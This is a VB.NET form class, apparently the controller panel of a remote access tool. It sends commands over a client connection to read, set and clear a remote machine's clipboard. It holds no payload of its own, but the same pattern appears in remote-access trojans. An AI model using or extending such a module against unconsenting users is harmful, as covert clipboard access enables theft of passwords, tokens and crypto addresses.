Imports System.Threading
Public Class Clipboard

    Public C As Client
    Private Sub CB_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Clipboard()
    End Sub

    Public Sub Clipboard()
        Dim B As Byte() = SB("GetClipboard")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked
        Try
            Process.Start(e.LinkText)
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub Clipboard_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        Dim B As Byte() = SB("CloseClipboard")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub GetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetTextToolStripMenuItem.Click
        Clipboard()
    End Sub

    Private Sub SetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SetTextToolStripMenuItem.Click
        Dim B As Byte() = SB("SetClipboard" & SettingsHelper.SPL & RichTextBox1.Text)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
        Try
            Windows.Forms.Clipboard.SetText(RichTextBox1.SelectedText)
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
        RichTextBox1.Clear()
        Dim B As Byte() = SB("ClearClipboard")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub
End Class